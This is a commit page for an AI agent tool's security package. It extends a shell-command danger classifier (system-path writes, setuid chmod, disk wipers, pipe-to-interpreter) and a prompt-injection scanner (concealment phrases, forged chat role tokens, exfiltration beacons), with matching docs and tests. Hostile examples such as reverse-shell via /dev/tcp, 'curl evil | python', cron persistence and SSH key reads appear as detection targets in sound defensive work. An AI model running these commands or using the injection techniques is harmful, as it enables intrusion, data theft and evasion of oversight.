Skip to content

Commit a3dc420

Browse files
jkyberneeesclaude
andauthored
danger: extend classifier and injection-scanner coverage (#43)
* danger: extend classifier and injection-scanner coverage Close several gaps in the danger package's risk classification and prompt-injection detection: Classifier (classifier.go): - File-mutating commands (cp/mv/tee/ln/install/touch/mkdir/chmod/rm/…) that target a system path now classify as system_write instead of short-circuiting to local_write (auto-allow). This closed a sandbox-escape where an agent could write /etc/cron.d/, /usr/bin/, /etc/profile.d/, etc. without approval. - chmod that sets the setuid/setgid bit (u+s, g+s, 4755, 2755, 6755, …) is system_write — privilege escalation regardless of path. - Added disk/partition destroyers to the destructive set: wipefs, blkdiscard, sgdisk, gdisk, cfdisk, sfdisk, mkswap, badblocks, cryptsetup, zerofree, and more mkfs.* variants. - shred is now recognised and handled like rm: local file -> local_write, block device / catastrophic wipe target -> destructive. - Machine power-control commands (shutdown, reboot, halt, poweroff, init/telinit at a halt runlevel) classify as destructive with an accurate label instead of falling through to unknown. - Piping untrusted data into a non-shell interpreter (curl … | python, … | perl, … | node, … | awk) is now code_execution, the non-shell analogue of the existing … | bash detection. Injection scanner (injection.go): - Concealment instructions ("do not tell the user", "without informing", "keep this secret", "silently exfiltrate"). - Chat control-token / role-marker injection (<|im_start|>, [INST], <<SYS>>, <|system|>, forged <system> tags). - Markdown-image and templated-request exfiltration beacons. Updated the package doc and the chmod-root test to reflect the stronger classifications, and added coverage_extension_test.go with positive and false-negative/false-positive cases for every new behaviour. Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01DXDpyFBMT1baGHVoRnuQEP * danger: raise test coverage to ~95% and document new behaviours Add internal/danger/whitebox_coverage_test.go targeting the previously untested or thinly-covered paths, raising package statement coverage from 85.3% to 94.9%: - CheckOperation (was 0%): allow / deny / blocked-always-denies / prompt via a fake Approver / approver-denies / nil-approver TTY fallback with trusted-class short-circuit. - TTYApprover.prompt interactive path via a file-backed TTY (TTYPath): approve, deny, trust-session caching, friction full-word gate, trust-disabled-for-destructive, read-error on missing newline, and the non-interactive no-TTY fallback. os.Stderr is silenced during these. - isOdekTrustAnchor / isSensitiveOdekPath / ClassifyPath home-relative branches, driven with a synthetic $HOME so they no longer depend on the runner's home (they were skipped under root). - decodeANSIC escape decoding, parseBrowserIP inet_aton encodings, hostnameIsInternal, isOctalMode, chmodSetsSUIDGID, commandName, isAssignment, substValue, basenameFirstToken, isEnvironmentDump, classifyResourceToken, rmRecursiveOrForce, isBlocked dd-split-of=, extractSubstitutions, isInstall / isPackageManagerRun, hasArgAfter, and the config action-resolution layers. Docs: SECURITY.md "Danger classifier" and injection-scan sections now describe the extended coverage (system-path writes, setuid chmod, disk destroyers, shred, power-control, pipe-to-interpreter; and the new concealment / control-token / exfiltration-beacon injection patterns). Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01DXDpyFBMT1baGHVoRnuQEP --------- Co-authored-by: Claude <noreply@anthropic.com>
1 parent 2e61578 commit a3dc420

6 files changed

Lines changed: 1136 additions & 9 deletions

File tree

docs/SECURITY.md

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -70,7 +70,7 @@ Tools that wrap:
7070

7171
`session_search` is wrapped because it can surface content from arbitrary past sessions — including sessions that ingested untrusted content. Wrapping its whole output keeps that content from re-entering as trusted instructions and records the retrieval in the audit log, closing a path that otherwise bypassed the memory taint gate (defense 5).
7272

73-
The MCP wrapper guards a tool's **output**. The server-supplied tool **description** is a separate surface ("tool poisoning"): it flows into the model's tool catalogue as effectively trusted instructions. odek scans every MCP tool description with the injection classifier (`ScanInjection`) at registration; if injection patterns are found the description is withheld (replaced with a placeholder, logged to stderr) while the tool stays callable by name. The classifier now normalizes invisible Unicode, folds common homoglyphs, detects mixed confusable scripts, and matches paraphrased exfiltration and non-English override phrases. The MCP **error channel** is guarded as well: a server that returns its payload via an error instead of a result has that error message wrapped (and audited) too, since the loop surfaces error text to the model.
73+
The MCP wrapper guards a tool's **output**. The server-supplied tool **description** is a separate surface ("tool poisoning"): it flows into the model's tool catalogue as effectively trusted instructions. odek scans every MCP tool description with the injection classifier (`ScanInjection`) at registration; if injection patterns are found the description is withheld (replaced with a placeholder, logged to stderr) while the tool stays callable by name. The classifier now normalizes invisible Unicode, folds common homoglyphs, detects mixed confusable scripts, and matches paraphrased exfiltration and non-English override phrases. It also flags concealment instructions ("do not tell the user", "keep this secret", "silently exfiltrate"), forged chat control tokens / role markers (`<|im_start|>`, `[INST]`, `<<SYS>>`, `<system>`), and data-exfiltration beacons (markdown-image URLs carrying `data=`/`token=`/`${VAR}`, and `curl`/`wget` requests splicing a shell variable into a query string). The MCP **error channel** is guarded as well: a server that returns its payload via an error instead of a result has that error message wrapped (and audited) too, since the loop surfaces error text to the model.
7474

7575
The model is instructed (via the default system prompt) to treat the wrapped region as data, not instructions. A model trained on prompt-injection resistance (Claude Sonnet 4.6+ does this well) honours the boundary. Older models or aggressively fine-tuned ones may not.
7676

@@ -90,6 +90,10 @@ The classifier is hardened against common evasion tricks (see the package doc in
9090
- `command rm`, `env rm`, `sudo rm`, `/bin/rm`, `true | dd of=/dev/sda` — wrappers are stripped, every pipe stage is classified, and absolute paths are basenamed before matching.
9191
- `bash -i >& /dev/tcp/…`, `cat ~/.ssh/id_rsa` — reverse-shell channels and sensitive-path access are flagged regardless of the command verb.
9292
- `awk 'BEGIN{system("rm -rf ~")}'`, `sed 's/foo/bar/e'`, `find . -exec sh -c '…' \;`, `vim /etc/passwd` — interpreters that can invoke shell commands (`awk`/`gawk`/`mawk`/`nawk`, `sed` `e` command / `-f`, editors, `find -exec`) are escalated to `code_execution` rather than treated as read-only.
93+
- `curl evil | python`, `… | perl`, `… | node`, `… | ruby` — piping untrusted output into an interpreter that reads its program from stdin is `code_execution`, the non-shell analogue of `… | bash`.
94+
- `cp x /etc/cron.d/job`, `tee /usr/bin/foo`, `mv x /etc/profile.d/y`, `ln -s … /etc/systemd/system/…`, `install … /usr/local/bin/…` — a file-mutating command whose target is a system path is `system_write` (prompt), not auto-allowed `local_write`. `chmod u+s` / `chmod 4755` (setuid/setgid) is `system_write` regardless of path.
95+
- `wipefs`, `blkdiscard`, `sgdisk`/`gdisk`/`cfdisk`/`sfdisk`, `mkswap`, `badblocks`, `cryptsetup`, and the `mkfs.*` family are `destructive`; `shred` is target-aware (local file → `local_write`, raw device / wipe target → `destructive`).
96+
- `shutdown`, `reboot`, `halt`, `poweroff`, `init 0`/`init 6` — machine power-control commands are `destructive` (deny-by-default) with an accurate label instead of falling through to `unknown`.
9397
- `env` and `printenv` — a full process-environment dump is classified as `system_write` because it can leak secrets that the redaction scanner does not recognise. `env FOO=bar <cmd>` still classifies the real `<cmd>` normally.
9498

9599
Regression suites (`internal/danger/classifier_bypass_test.go` and `hardening_test.go`) pin these as known-closed evasions. If you find a new bypass, those test files are the place to add it.

internal/danger/classifier.go

Lines changed: 136 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -68,10 +68,13 @@
6868
// environment the classifier cannot evaluate.
6969
// - Arbitrary value transformations beyond the enumerated encodings
7070
// (e.g. a secret piped through gzip/openssl before exfiltration).
71-
// - Interpreter escape hatches we do not special-case (awk 'BEGIN{system()}',
72-
// editor `!` shells, language-specific eval paths). These read as a known
73-
// command (awk/vim/…) used benignly, so they classify Safe — the known
74-
// verb is the gap, not an unknown one.
71+
// - Interpreter escape hatches we do not special-case. Common ones ARE
72+
// covered: awk/ed/vi/emacs invocations that carry a script or file operand
73+
// classify as code_execution (embeddedShellInterpreters), as do non-shell
74+
// interpreters fed from a pipe (`curl … | python`). Language-specific eval
75+
// paths or editor command-mode shells we have not enumerated may still read
76+
// as a known command used benignly — the known verb is the gap, not an
77+
// unknown one.
7578
//
7679
// Because these gaps exist, the classifier is paired with other controls:
7780
// non-interactive denial, output redaction (internal/redact), and — for
@@ -710,6 +713,10 @@ var writePrefixes = map[string]bool{
710713
"echo": true, "sed": true, "tee": true,
711714
"rm": true, "mv": true, "cp": true, "touch": true,
712715
"mkdir": true, "rmdir": true, "chmod": true, "chown": true,
716+
// shred overwrites/removes files like rm. isDestructive escalates it to
717+
// destructive when aimed at a block device or catastrophic wipe target;
718+
// otherwise a local-file shred is a write (local_write / system_write).
719+
"shred": true,
713720
}
714721

715722
var systemPrefixes = map[string]bool{
@@ -720,7 +727,16 @@ var systemPrefixes = map[string]bool{
720727

721728
var destructivePrefixes = map[string]bool{
722729
"dd": true, "mkfs": true, "mkfs.ext4": true, "mkfs.ext3": true,
723-
"mkfs.xfs": true, "fdisk": true, "parted": true, "mke2fs": true,
730+
"mkfs.ext2": true, "mkfs.xfs": true, "mkfs.btrfs": true,
731+
"mkfs.vfat": true, "mkfs.fat": true, "mkfs.ntfs": true, "mkfs.f2fs": true,
732+
"fdisk": true, "parted": true, "mke2fs": true,
733+
// Partition-table and filesystem-signature destroyers. Each operates on a
734+
// whole disk/partition and is unrecoverable, so any invocation is treated
735+
// as destructive (deny-by-default, overridable in godmode for legitimate
736+
// disk work) — matching the existing mkfs/fdisk handling.
737+
"sgdisk": true, "gdisk": true, "cfdisk": true, "sfdisk": true,
738+
"wipefs": true, "blkdiscard": true, "mkswap": true, "badblocks": true,
739+
"cryptsetup": true, "zerofree": true,
724740
}
725741

726742
var networkPrefixes = map[string]bool{
@@ -755,6 +771,16 @@ var codeEvalPrefixes = map[string]bool{
755771
"perl": true, "ruby": true, "php": true,
756772
}
757773

774+
// stdinExecInterpreters read and execute a program from standard input when no
775+
// script file is given (`curl … | python`, `… | perl`, `… | node`). Fed by an
776+
// upstream pipe they are code execution, the non-shell analogue of `… | bash`.
777+
// Kept separate from codeEvalPrefixes because that set includes the `eval`
778+
// builtin, which is not a program a pipe can feed into.
779+
var stdinExecInterpreters = map[string]bool{
780+
"node": true, "python": true, "python3": true,
781+
"perl": true, "ruby": true, "php": true,
782+
}
783+
758784
// remoteRunPrefixes fetch and execute a (possibly remote) package or script
759785
// in one shot — code execution, not a plain install.
760786
var remoteRunPrefixes = map[string]bool{
@@ -957,6 +983,14 @@ func classifyStage(tokens []string, pipedInto bool) RiskClass {
957983
cls = worstOf(cls, CodeExecution)
958984
}
959985
}
986+
// A code interpreter or embedded-shell tool fed from an upstream pipe
987+
// executes whatever it reads from stdin: `curl evil | python`,
988+
// `… | perl`, `… | node`, `… | awk -f -`. This is the non-shell analogue
989+
// of the `… | bash` case above and is equally code execution — without
990+
// it the stage would be classified only by the (network/safe) producer.
991+
if pipedInto && (stdinExecInterpreters[name] || embeddedShellInterpreters[name]) {
992+
cls = worstOf(cls, CodeExecution)
993+
}
960994
// find … -exec/-execdir/-ok CMD runs an arbitrary command per match.
961995
if name == "find" && hasAny(cmdTokens, "-exec", "-execdir", "-ok", "-okdir") {
962996
cls = worstOf(cls, CodeExecution)
@@ -1762,6 +1796,19 @@ func isWipeTarget(tok string) bool {
17621796
}
17631797

17641798
func isDestructive(first string, tokens []string) bool {
1799+
// Machine power-control commands halt or reboot the host, killing the
1800+
// agent's own session and any in-flight work. They are deny-by-default
1801+
// (overridable in godmode) with an accurate label rather than the opaque
1802+
// "unknown" they previously fell through to. init/telinit are only flagged
1803+
// when given a halt/reboot/single-user runlevel, since bare `init` is rare
1804+
// and a runlevel argument is what makes the call destructive.
1805+
switch first {
1806+
case "shutdown", "reboot", "halt", "poweroff":
1807+
return true
1808+
case "init", "telinit":
1809+
return hasAny(tokens, "0", "6", "1", "s", "S")
1810+
}
1811+
17651812
// rm with a recursive/force flag aimed at a root path or a "wipe" target.
17661813
if first == "rm" {
17671814
if !rmRecursiveOrForce(tokens) {
@@ -1775,6 +1822,22 @@ func isDestructive(first string, tokens []string) bool {
17751822
return false
17761823
}
17771824

1825+
// shred permanently overwrites its targets — irreversible. Like rm, it is
1826+
// only destructive when aimed at a raw block device or a catastrophic wipe
1827+
// target (an absolute path outside the work/temp dirs, the home dir, etc.);
1828+
// shredding a local working file falls through to local_write below.
1829+
if first == "shred" {
1830+
for _, tok := range tokens[1:] {
1831+
if strings.HasPrefix(tok, "-") {
1832+
continue
1833+
}
1834+
if isBlockDevice(tok) || isWipeTarget(tok) {
1835+
return true
1836+
}
1837+
}
1838+
return false
1839+
}
1840+
17781841
if !destructivePrefixes[first] || len(tokens) < 2 {
17791842
return false
17801843
}
@@ -1810,6 +1873,27 @@ func isSystemWrite(first string, tokens []string) bool {
18101873
if systemPrefixes[first] {
18111874
return true
18121875
}
1876+
// chmod that sets the setuid/setgid bit is privilege escalation regardless
1877+
// of the target path: a setuid binary runs with its owner's privileges, so
1878+
// `chmod u+s`, `chmod 4755`, `chmod 6755`, etc. must require approval. Plain
1879+
// chmod (e.g. `chmod +x script.sh`) stays local_write below.
1880+
if first == "chmod" && chmodSetsSUIDGID(tokens) {
1881+
return true
1882+
}
1883+
// A filesystem-mutating command (cp/mv/tee/ln/install/touch/mkdir/chmod/…)
1884+
// whose operand is a system path writes outside the workspace — classic
1885+
// persistence/escalation (e.g. `cp x /etc/cron.d/job`, `tee /usr/bin/foo`,
1886+
// `mv x /etc/profile.d/y`). isLocalWrite would otherwise short-circuit these
1887+
// to local_write (auto-allow) before the touchesSystemPath fallback runs,
1888+
// because that fallback only fires for commands that fell through every
1889+
// write check. Escalate them here so they prompt instead.
1890+
if writePrefixes[first] || first == "ln" || first == "install" {
1891+
for _, tok := range tokens[1:] {
1892+
if isSystemPath(tok) {
1893+
return true
1894+
}
1895+
}
1896+
}
18131897
// Check redirect targets for system paths
18141898
for _, tok := range tokens {
18151899
if tok == ">" || tok == ">>" {
@@ -1827,6 +1911,53 @@ func isSystemWrite(first string, tokens []string) bool {
18271911
return false
18281912
}
18291913

1914+
// chmodSetsSUIDGID reports whether a chmod invocation sets the setuid or setgid
1915+
// bit, either symbolically (u+s, g+s, +s) or via an octal mode whose leading
1916+
// special-permission digit includes 4 (setuid) or 2 (setgid) — e.g. 4755, 2755,
1917+
// 6755. A plain 3- or 4-digit mode with a 0 special digit (0755) does not.
1918+
//
1919+
// Only the mode argument (the first non-flag operand) is inspected; trailing
1920+
// tokens are filenames and must not trigger on an incidental "+...s" or octal
1921+
// shape (e.g. a file named build+gen.s).
1922+
func chmodSetsSUIDGID(tokens []string) bool {
1923+
for _, tok := range tokens[1:] {
1924+
if strings.HasPrefix(tok, "-") {
1925+
continue // flag (e.g. -R, --recursive, --reference=FILE)
1926+
}
1927+
// Symbolic: any clause that adds the 's' permission (u+s, g+s, a+s, +s,
1928+
// ug+rs, …). We only care about additions, so look for "+...s".
1929+
if plus := strings.IndexByte(tok, '+'); plus >= 0 {
1930+
if strings.ContainsRune(tok[plus+1:], 's') {
1931+
return true
1932+
}
1933+
}
1934+
// Octal: a 4-digit mode whose first digit has bit 4 (setuid) or 2
1935+
// (setgid) set. 3-digit modes have no special-permission digit.
1936+
if len(tok) == 4 && isOctalMode(tok) {
1937+
switch tok[0] {
1938+
case '2', '3', '4', '5', '6', '7':
1939+
return true
1940+
}
1941+
}
1942+
// First non-flag operand is the mode; everything after is a filename.
1943+
return false
1944+
}
1945+
return false
1946+
}
1947+
1948+
// isOctalMode reports whether s is composed entirely of octal digits (0-7).
1949+
func isOctalMode(s string) bool {
1950+
if s == "" {
1951+
return false
1952+
}
1953+
for _, r := range s {
1954+
if r < '0' || r > '7' {
1955+
return false
1956+
}
1957+
}
1958+
return true
1959+
}
1960+
18301961
func isLocalWrite(first string, tokens []string) bool {
18311962
// echo without redirect is safe (just displaying text)
18321963
if first == "echo" {

internal/danger/classifier_test.go

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -758,10 +758,11 @@ func TestClassify_PipeToBash(t *testing.T) {
758758
}
759759

760760
func TestClassify_ChmodRoot(t *testing.T) {
761-
// chmod on /etc is local_write — system path detection only catches redirects
761+
// chmod on a system path is system_write: a file-mutating command pointed at
762+
// /etc, /usr, /bin, … escalates so it prompts instead of auto-allowing.
762763
got := Classify("chmod 777 /etc/hosts")
763-
if got != LocalWrite {
764-
t.Errorf("Classify(chmod /etc) = %s, want local_write", got)
764+
if got != SystemWrite {
765+
t.Errorf("Classify(chmod /etc) = %s, want system_write", got)
765766
}
766767
}
767768

0 commit comments

Comments
 (0)